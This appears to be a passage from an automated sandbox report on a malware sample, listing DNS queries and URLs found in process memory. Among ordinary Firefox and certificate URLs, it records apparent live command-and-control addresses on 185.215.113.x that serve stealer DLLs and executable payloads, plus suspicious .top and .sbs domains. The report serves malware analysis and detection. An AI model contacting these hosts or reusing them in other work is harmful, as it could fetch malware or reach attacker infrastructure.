Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3263766890.0000021BFB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3263766890.0000021BFB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002E.00000002.3263766890.0000021BFB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: onPrefEnabledChanged() - removing gmp directory findUpdates() - updateTask succeeded for onPrefEMEGlobalEnabledChanged() id=KEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASONKEY_PLUGIN_LAST_INSTALL_FAIL_REASONresource://gre/modules/UpdateUtils.sys.mjsmedia.gmp-manager.cert.checkAttributesmedia.gmp-manager.cert.requireBuiltInresource://gre/modules/AddonManager.sys.mjsstartup - adding clearkey CDM failedipc:first-content-process-createdonPrefEnabledChanged() - adding gmp directory This should only be called from XPCShell testsmedia.{0}.allow-x64-plugin-on-arm64 - the given reason to update is not supportedSitePermsAddonInstall#cancel called twice on @mozilla.org/network/file-output-stream;1resource://gre/modules/addons/XPIProvider.jsm://www.rva311.com/static/js/main..chunk.js://.imgur.com/js/vendor..bundle.jsFileUtils_openAtomicFileOutputStream@mozilla.org/network/safe-file-output-stream;1https://smartblock.firefox.etp/facebook.svg://www.everestjs.net/static/st.v3.js**://track.adform.net/serving/scripts/trackpoint/resource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3320546777.0000021BFD180000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3275905503.0000021BFC31B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3102930133.0000021BFC466000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000002.3269411057.0000021BFB9FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002E.00000002.3275905503.0000021BFC31B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3320546777.0000021BFD1B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtejj5vs.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: fvtejj5vs.top

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: c6782cb97e.exe, 0000001C.00000003.2845062440.0000000007B72000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: c6782cb97e.exe, 0000001C.00000003.2845062440.0000000007B72000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 0000002E.00000002.3263766890.0000021BFB27B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: ea2bf34af0.exe, 0000001D.00000003.3217652522.0000000000D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: ea2bf34af0.exe, 0000001D.00000003.3217652522.0000000000D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/caz
Source: file.exe, 00000000.00000002.2620717305.0000000001657000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe;
Source: ea2bf34af0.exe, 0000001D.00000002.3296058737.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3216496442.00000000054B2000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3216719396.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3217473238.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3246606362.00000000054B9000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3216988253.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: ea2bf34af0.exe, 0000001D.00000002.3295751000.0000000000AFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe0
Source: ea2bf34af0.exe, 0000001D.00000003.3216719396.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exejmH
Source: ea2bf34af0.exe, 0000001D.00000002.3296058737.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3217473238.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3216988253.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000002.2620717305.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2618383963.0000000000955000.00000040.00000001.01000000.00000003.sdmp, 215a689fd9.exe, 0000001E.00000002.2987335924.000000000122E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp, 215a689fd9.exe, 0000001E.00000002.2987335924.0000000001286000.00000004.00000020.00020000.00000000.sdmp, 215a689fd9.exe, 0000001E.00000002.2987335924.0000000001274000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllC
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dlli
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll_
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll5
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllp
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllm
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllf
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2620717305.0000000001657000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 215a689fd9.exe, 0000001E.00000002.2987335924.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/N
Source: 215a689fd9.exe, 0000001E.00000002.2987335924.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 215a689fd9.exe, 0000001E.00000002.2987335924.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php#
Source: 215a689fd9.exe, 0000001E.00000002.2987335924.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/L
Source: 215a689fd9.exe, 0000001E.00000002.2987335924.000000000122E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/u
Source: 215a689fd9.exe, 0000001E.00000002.2987335924.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpJjz
Source: file.exe, 00000000.00000002.2647399127.0000000023962000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpK
Source: file.exe, 00000000.00000002.2620717305.0000000001657000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpMicrosoft
Source: file.exe, 00000000.00000002.2647399127.0000000023962000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpU
Source: 215a689fd9.exe, 0000001E.00000002.2987335924.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php_
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpeTX?l
Source: file.exe, 00000000.00000002.2618383963.0000000000955000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpu
Source: file.exe, 00000000.00000002.2620717305.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206c
Source: file.exe, 00000000.00000002.2618383963.0000000000955000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%shttp://poczta
Source: ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000002E.00000002.3272696566.0000021BFC0E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3234257561.0000021BF6DF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3275905503.0000021BFC391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3263766890.0000021BFB2D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000002E.00000002.3267858385.0000021BFB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3249402513.0000021BF9852000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlneedForCheckingAntiTrackingHeuristicHTTPS_ONLY_UPGRADE
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF887A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3272696566.0000021BFC0F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3269411057.0000021BFB9C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3120380781.0000021C038F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF887A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3275905503.0000021BFC378000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3269411057.0000021BFB9C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3120380781.0000021C038F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000002E.00000002.3233192391.0000021BF6C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-timesp
Source: firefox.exe, 0000002E.00000002.3233192391.0000021BF6C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000002E.00000002.3218516266.0000021BEB503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: http://fb.me/use-check-prop-types
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: http://fb.me/use-check-prop-typesG
Source: c6782cb97e.exe, 0000001C.00000003.2845062440.0000000007B72000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17
Source: c6782cb97e.exe, 0000001C.00000003.2845062440.0000000007B72000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: firefox.exe, 0000002E.00000003.3133276275.0000021BFCB77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3127626975.0000021BFCB8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3164813269.0000021BFCB8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3139453552.0000021BFCB8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306015155.0000021BFCB8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3130200084.0000021BFCB8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3131683744.0000021BFCB8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3109364248.0000021BFCBA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enableBookmarksToolbar
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enableBookmarksToolbarbrowser.safebrowsing.features.emailtracking.up
Source: firefox.exe, 0000002E.00000003.3120865202.0000021C037AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3152692503.0000021BFADCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3122242311.0000021C036C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3144641897.0000021C052CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3120865202.0000021C03784000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3152692503.0000021BFADD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3268795171.0000021BFB87C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3268328973.0000021BFB803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3269411057.0000021BFB945000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3090932271.0000021C052D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101774257.0000021BFCED2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3245583026.0000021BF89C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3100865480.0000021C036C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3270905430.0000021BFBE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3271363423.0000021BFBF7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3150233656.0000021C039BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3120865202.0000021C037A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3093846472.0000021C052CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3328236435.0000021BFD646000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000002E.00000002.3331255937.0000021BFD890000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6CAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000002E.00000002.3331255937.0000021BFD890000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000002E.00000002.3331255937.0000021BFD890000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6CAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: http://stackoverflow.com/questions/30030031)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/URIFixup.sys.mjs
Source: file.exe, file.exe, 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updategetCanApplyUpdates
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3237288323.0000021BF79CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3109677092.0000021C03C70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul#findAndSetNewDefaultuser/generalSear
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulCan
Source: firefox.exe, 0000002E.00000002.3269411057.0000021BFB903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulL&
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/notifi
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/popupn
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulcontent-blocking-cookies-blocking-unvis
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulloadListener:
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulmaybeImportLogins:
